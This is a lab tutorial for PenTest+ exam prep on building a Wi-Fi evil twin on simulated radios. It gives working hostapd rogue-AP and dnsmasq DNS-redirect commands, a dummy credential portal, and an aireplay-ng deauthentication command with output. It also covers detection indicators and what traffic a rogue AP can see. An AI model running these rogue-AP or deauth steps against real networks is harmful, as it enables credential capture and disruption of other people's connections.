| Tested on | Kali GNU/Linux Rolling 2026.2 (kali-rolling) |
|---|---|
| Package | hostapd 2:2.10-25+b2, dnsmasq 2.93-1, aircrack-ng 1:1.7+git20230807.4bf83f1a-3, wifipumpkin3 1.1.7-0kali3, iw 6.17-1 |
| Lab environment | Pentest lab |
| Cert prep | CompTIA PenTest+ PT0-003: rogue AP, captive portal, and wireless client association behavior |
| Privilege | sudo for module load, hostapd, dnsmasq, monitor mode, and local portal binds |
| Scope | Manual evil twin with hostapd + dnsmasq + lab portal page; optional WiFi-Pumpkin3 comparison. Not WPA handshake cracking, not same-PSK WPA2 honeypot deep-dive, not real-brand phishing pages. |
An evil twin is an unauthorized access point built to resemble a legitimate wireless network. The tester tries to get a client to associate with that rogue AP. Once associated, the rogue path can hand out DHCP and DNS, present a lab portal page, and observe traffic that higher-layer encryption does not protect.
Copying an SSID alone does not guarantee that a modern client will automatically join the rogue AP. Saved security profiles, authentication type, OS roaming logic, and user choice all matter.
Primary workflow: hostapd + dnsmasq + a controlled local portal page.
Secondary: WiFi-Pumpkin3 as a short automation comparison (wifipumpkin3 1.1.7 on this Kali).
Evil twin vs rogue AP vs MITM
| Term | Meaning |
|---|---|
| Rogue AP | Any unauthorized access point in an environment |
| Evil twin | A rogue AP that impersonates a legitimate network (same or look-alike SSID) |
| MITM / on-path | A position where traffic flows through the tester after the client joins |
An evil twin may create an on-path position after association. The terms overlap, but they are not identical. For ARP and TLS on-path details after you already control a link, see ARP spoofing and MITM.
How an evil twin attack works
Legitimate path:
Victim → Real AP (BSSID A) → Network
Rogue path:
Victim → Evil twin (BSSID B) → Attacker-controlled DHCP/DNS/portalTypical sequence:
- Recon SSID, BSSID, channel, and security
- Advertise a look-alike AP
- Client chooses or joins the rogue AP (not always automatic)
- DHCP and DNS on the rogue subnet
- Portal page or controlled network access
- Observe what cleartext paths allow
Deauthentication is optional. It only creates a reconnection opportunity. It does not force the client onto BSSID B.
Why copying the SSID is not enough
| Field | What it is |
|---|---|
| SSID / ESSID | Human-readable network name (GLC-WiFi here) |
| BSSID | MAC of one specific AP radio |
| Security profile | Open, WPA2-PSK, WPA3, Enterprise, and related settings |
A saved WPA2 profile is not "connect to anything named CompanyWiFi." Many clients refuse an open AP that only shares the name of a secured network. Below you will see both BSSIDs advertise GLC-WiFi while the victim stays on WPA2 until you deliberately join the open twin.
Build the isolated wireless lab
You need four simulated radios. For a fuller mac80211_hwsim walkthrough, see capture and crack a WPA/WPA2 handshake.
Create the working directory:
mkdir -p ~/evil-twin-lab/{portal,logs,captures}Load four radios:
sudo modprobe mac80211_hwsim radios=4Keep NetworkManager off those interfaces:
for i in wlan0 wlan1 wlan2 wlan3; do sudo nmcli device set "$i" managed no; doneMap them like this:
wlan0: legitimate APwlan1: victim clientwlan2: monitor / optional deauthwlan3: evil twin AP
Create the legitimate access point
Start a WPA2-Personal AP so the victim has a real baseline association.
Write the config file:
cat > ~/evil-twin-lab/hostapd-legit.conf <<'EOF'
interface=wlan0
driver=nl80211
ssid=GLC-WiFi
hw_mode=g
channel=6
wpa=2
wpa_passphrase=GLCwifi2026
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP
EOFBring the AP interface up:
sudo ip link set wlan0 upStart hostapd in the background:
sudo hostapd -B ~/evil-twin-lab/hostapd-legit.confConfirm the AP:
iw dev wlan0 infoInterface wlan0
addr 02:00:00:00:00:00
ssid GLC-WiFi
type AP
channel 6 (2437 MHz), width: 20 MHz (no HT), center1: 2437 MHzBSSID A is 02:00:00:00:00:00. Connect the victim with a matching PSK profile:
cat > ~/evil-twin-lab/wpa-victim.conf <<'EOF'
ctrl_interface=/var/run/wpa_supplicant
network={
ssid="GLC-WiFi"
psk="GLCwifi2026"
key_mgmt=WPA-PSK
proto=RSN
pairwise=CCMP
}
EOFBring the client interface up:
sudo ip link set wlan1 upStart the client profile:
sudo wpa_supplicant -B -i wlan1 -c ~/evil-twin-lab/wpa-victim.conf -f ~/evil-twin-lab/logs/wpa-legit.logConfirm association to BSSID A:
wpa_cli -i wlan1 status | grep -E 'bssid|ssid|key_mgmt|wpa_state'bssid=02:00:00:00:00:00
ssid=GLC-WiFi
key_mgmt=WPA2-PSK
wpa_state=COMPLETEDRecord SSID, BSSID A, channel 6, and WPA2-PSK before you clone anything.
Recon the legitimate AP
Put wlan2 in monitor mode on channel 6. You mainly need ESSID, BSSID, channel, encryption/authentication, and associated stations.
Take the monitor radio down before changing its type:
sudo ip link set wlan2 downSwitch that radio to monitor mode:
sudo iw dev wlan2 set type monitorBring the monitor interface back up:
sudo ip link set wlan2 upLock the monitor radio to channel 6:
sudo iw dev wlan2 set channel 6Export the legitimate BSSID and station MAC:
export BSSID_A=$(iw dev wlan0 info | awk '/addr/{print $2; exit}')Pull the station MAC from the AP:
export STA=$(sudo iw wlan0 station dump | awk '/Station/{print $2; exit}')Print both values:
echo "BSSID_A=$BSSID_A STA=$STA"BSSID_A=02:00:00:00:00:00 STA=02:00:00:00:01:00Create the rogue AP with hostapd
Bring up an open twin on wlan3 with the same SSID and a different BSSID. That models a look-alike hotspot a user might choose. It is not a guaranteed automatic migration from a saved WPA2 profile.
Write the twin config:
cat > ~/evil-twin-lab/hostapd-twin.conf <<'EOF'
interface=wlan3
driver=nl80211
ssid=GLC-WiFi
hw_mode=g
channel=6
EOFBring the twin interface up:
sudo ip link set wlan3 upStart hostapd in the background:
sudo hostapd -B ~/evil-twin-lab/hostapd-twin.confConfirm BSSID B:
iw dev wlan3 infoInterface wlan3
addr 02:00:00:00:03:00
ssid GLC-WiFi
type AP
channel 6 (2437 MHz), width: 20 MHz (no HT), center1: 2437 MHzBSSID B is 02:00:00:00:03:00. Scan while the victim is still on WPA2:
wpa_cli -i wlan1 scanRead the scan table:
wpa_cli -i wlan1 scan_resultsbssid / frequency / signal level / flags / ssid
02:00:00:00:00:00 2437 -20 [WPA2-PSK-CCMP][ESS] GLC-WiFi
02:00:00:00:03:00 2437 -20 [ESS] GLC-WiFiSame ESSID, two BSSIDs, different security. Victim status still shows key_mgmt=WPA2-PSK and BSSID A. A short airodump CSV shows the same split (WPA2 / PSK vs OPN).
Give clients network configuration with dnsmasq
hostapd handles 802.11. dnsmasq handles DHCP and DNS on the rogue subnet.
Add the rogue gateway address:
sudo ip addr add 10.66.66.1/24 dev wlan3Start dnsmasq for DHCP and DNS on the twin:
sudo dnsmasq --interface=wlan3 --bind-interfaces --dhcp-range=10.66.66.50,10.66.66.150,12h --dhcp-option=3,10.66.66.1 --dhcp-option=6,10.66.66.1 --address=/#/10.66.66.1 --dhcp-leasefile=$HOME/evil-twin-lab/dnsmasq.leases --pid-file=$HOME/evil-twin-lab/dnsmasq.pid --conf-file=/dev/null --dhcp-authoritative--address=/#/10.66.66.1 sends name lookups to the twin gateway. That only helps transparent captive behavior when something also answers standard HTTP (port 80) or redirects connectivity checks. This lab uses a deliberate portal URL instead.
Add a controlled captive portal
Serve a local page titled GLC Wireless Security Lab. Dummy branding only. Do not clone Google, Microsoft, bank, or corporate login pages. The goal is portal-page behavior on a rogue path, not phishing realism.
On this Kali host, binding a clean HTTP listener on 10.66.66.1:80 can collide with other host services. The reproducible lab page listens on port 8765:
Because this lab uses port 8765, DNS redirection alone will not transparently serve arbitrary http://example.com/ requests (browsers still aim at port 80). Open the portal URL manually. A production captive portal normally listens on, or redirects, standard HTTP connectivity checks.
Write a static HTML page:
cat > ~/evil-twin-lab/portal/index.html <<'EOF'
<!DOCTYPE html>
<html>
<head><title>GLC Wireless Security Lab</title></head>
<body>
<h1>GLC Wireless Security Lab</h1>
<p>Lab-only portal page. Dummy fields only. Do not enter real credentials.</p>
<form>
<label>Username <input name="username"></label>
<label>Password <input name="password" type="password"></label>
<button type="button">Continue</button>
</form>
</body>
</html>
EOFStart a simple static server on the twin IP (leave this Terminal open):
cd ~/evil-twin-lab/portal && sudo python3 -m http.server 8765 --bind 10.66.66.1Join the open twin on purpose (still not automatic from the WPA2 save):
cat > ~/evil-twin-lab/wpa-twin-open.conf <<'EOF'
ctrl_interface=/var/run/wpa_supplicant
network={
ssid="GLC-WiFi"
key_mgmt=NONE
bssid=02:00:00:00:03:00
}
EOFStop the previous WPA2 client on wlan1, then start the open twin profile:
sudo kill $(pgrep -n -f 'wpa_supplicant -B -i wlan1') 2>/dev/null || trueStart the open twin client profile:
sudo wpa_supplicant -B -i wlan1 -c ~/evil-twin-lab/wpa-twin-open.conf -f ~/evil-twin-lab/logs/wpa-twin.logConfirm the victim is on BSSID B:
iw dev wlan1 linkConnected to 02:00:00:00:03:00 (on wlan1)
SSID: GLC-WiFi
freq: 2437.0Put the client on the rogue subnet (DHCP from dnsmasq, or a lab static if DHCP is busy on the host):
sudo ip addr add 10.66.66.50/24 dev wlan1Confirm the client address on the rogue subnet:
ip -4 addr show wlan1inet 10.66.66.50/24 scope global wlan1Fetch the lab portal page:
curl -sS http://10.66.66.1:8765/<!DOCTYPE html>
<html>
<head><title>GLC Wireless Security Lab</title></head>
<body>
<h1>GLC Wireless Security Lab</h1>
<p>Lab-only portal page. Dummy fields only. Do not enter real credentials.</p>
<form>
<label>Username <input name="username"></label>
<label>Password <input name="password" type="password"></label>
<button type="button">Continue</button>
</form>
</body>
</html>That proves the portal page is reachable at the twin gateway URL. Because all hwsim interfaces share one Linux network namespace on this single-host lab, a curl from the same Kali host may show a loopback-style source address in some logs. Treat this as a portal-response proof, not perfect physical victim routing. True namespace separation is optional and out of scope here.
Modern OS captive detection probes known connectivity-check URLs. Do not assume every OS always pops a captive sheet. Manual URL open is expected for this 8765 lab.
Optional deauthentication transition
Directed deauth can knock the victim off BSSID A. It does not guarantee a join to BSSID B. Use it only when you want a reconnect opportunity, then still select the twin explicitly as above.
sudo aireplay-ng -0 3 -a "$BSSID_A" -c "$STA" wlan200:19:16 Waiting for beacon frame (BSSID: 02:00:00:00:00:00) on channel 6
00:19:16 Sending 64 directed DeAuth (code 7). STMAC: [02:00:00:00:01:00] [ 0| 0 ACKs]
00:19:17 Sending 64 directed DeAuth (code 7). STMAC: [02:00:00:00:01:00] [ 0| 0 ACKs]
00:19:17 Sending 64 directed DeAuth (code 7). STMAC: [02:00:00:00:01:00] [ 0| 0 ACKs]For disconnect/reassociation state detail (BSSID A→B with same WPA2 security), use the WPA2 Wi-Fi honeypot article. Handshake capture after deauth belongs on the WPA handshake guide.
What traffic can an evil twin actually see?
| Traffic | What the rogue path can usually observe |
|---|---|
| DHCP | Lease requests and offers |
| DNS | Queries unless the client uses encrypted DNS end to end |
| HTTP | Request/response content in cleartext |
| HTTPS | DNS queries, destination IPs, and some TLS metadata may be observable depending on protocol and client behavior; HTTPS application content remains encrypted when certificate validation succeeds |
| SSH | Encrypted session payload |
| VPN | Application traffic protected inside the tunnel |
Do not teach "evil twin means all passwords are visible." A VPN can protect application data even on a hostile Wi-Fi path once the tunnel is up. Deeper on-path TLS discussion belongs with MITM / ARP spoofing.
WiFi-Pumpkin3 vs manual hostapd setup
WiFi-Pumpkin3 bundles rogue AP helpers, DHCP/networking, captive modules, and related tooling. On this Kali install the package is wifipumpkin3 1.1.7-0kali3.
Check the version:
wifipumpkin3 --versionwifipumpkin3 v1.1.7 branch: mainLaunch against a twin-capable interface when you want the framework UI/CLI:
sudo wifipumpkin3 -i wlan3hostapd + dnsmasq + local portal |
WiFi-Pumpkin3 | |
|---|---|---|
| Clarity | Each role is explicit | Bundled modules |
| Reproducibility | Easy to script and debug | Depends on framework release |
| Features | You wire what you need | Portals and extras in one place |
| Failure mode | Fix one daemon | Module/UI regressions possible |
Keep the manual path as the baseline. Use Pumpkin when the engagement wants integrated modules and you accept the dependency.
Why clients or captive portals fail
Common join problems:
- Security type differs from the saved profile (open twin vs WPA2 save)
- Client prefers the known BSSID
- Twin not on the expected channel
- DHCP on the twin fails after a join attempt
- Network marked "do not auto-connect" or never selected
- WPA3 / Protected Management Frames change authentication and classic deauth assumptions on modern networks
Common portal problems:
- Client has no lease or wrong gateway
- DNS points at the twin, but nothing answers port 80 for arbitrary hostnames
- Browser opens HTTPS / HSTS URLs that never hit your HTTP lab page
- You forgot the
:8765lab URL - WiFi-Pumpkin captive module misconfigured (fall back to this manual page)
How to detect an evil twin
Useful indicators:
- Same SSID with an unfamiliar BSSID
- Unexpected security downgrade (secured save vs open advertisement)
- Unexpected captive portal on a network that never used one
- Duplicate AP advertisements outside the authorized inventory
- Certificate warnings on services that previously validated cleanly
- WIDS / WIPS alerts on spoofed AP or unusual deauth storms
SSID duplication alone does not prove malice. Enterprise Wi-Fi routinely uses many BSSIDs for one SSID. Compare against an authorized AP inventory, channel plan, and security baseline.
Evil twin assessment checklist
| Field | Value |
|---|---|
| Legitimate SSID | |
| Legitimate BSSID | |
| Security | |
| Channel | |
| Victim profile | |
| Rogue BSSID | |
| Rogue security | |
| Client joined automatic / manual | |
| DHCP successful | |
| Portal displayed | |
| Traffic observed | |
| TLS remained valid | |
| Detection evidence |
Summary
An evil twin is a look-alike rogue AP. Association is the hard part: same SSID does not equal automatic trust when security types differ. On the Kali mac80211_hwsim lab you bring up a real WPA2 AP, advertise an open twin with the same name, join the twin deliberately, take a rogue subnet address, and open a lab-only portal page on the twin gateway.
This page uses port 8765 for reproducibility, so treat the portal as a controlled demo URL rather than full transparent captive interception. Manual hostapd + dnsmasq stays the baseline; WiFi-Pumpkin3 1.1.7 is optional automation. What you can see after association depends on cleartext versus TLS/VPN. For deauth/reassociation depth and for handshake cracking, use the sibling wireless guides.
References
- hostapd: https://w1.fi/hostapd/
- dnsmasq: https://thekelleys.org.uk/dnsmasq/doc.html
- WiFi-Pumpkin3 docs: https://wifipumpkin3.github.io/docs/getting-started
- Linux
mac80211_hwsim: https://www.kernel.org/doc/html/latest/networking/mac80211_hwsim/mac80211_hwsim.html - Aircrack-ng: https://www.aircrack-ng.org/
Frequently Asked Questions
Does the same SSID make a phone automatically connect to an evil twin?
No. Clients weigh saved security settings, BSSID history, roaming logic, and user choice. An open AP that only shares a WPA2 network name often will not be accepted automatically.
Is an evil twin the same as a MITM attack?
Not exactly. An evil twin is a look-alike rogue AP. After a client joins, the tester may be on-path. MITM describes that traffic position, not only the fake AP.
Can an evil twin see HTTPS passwords?
Not when TLS certificate validation succeeds. DNS queries, destination IPs, and some TLS metadata may still be observable. Application content stays encrypted.
Do I need deauthentication for an evil twin?
No. Deauth only creates a reconnection opportunity. The client still has to select a compatible AP afterward.
Does a VPN protect against an evil twin?
A VPN protects application traffic inside the tunnel after it is up. It does not stop the client from joining a rogue AP or opening a portal page before the VPN starts.
Should I use WiFi-Pumpkin3 instead of hostapd?
Use Pumpkin when you want bundled modules. Keep the manual hostapd and dnsmasq path as the baseline you can still reproduce when the framework changes.

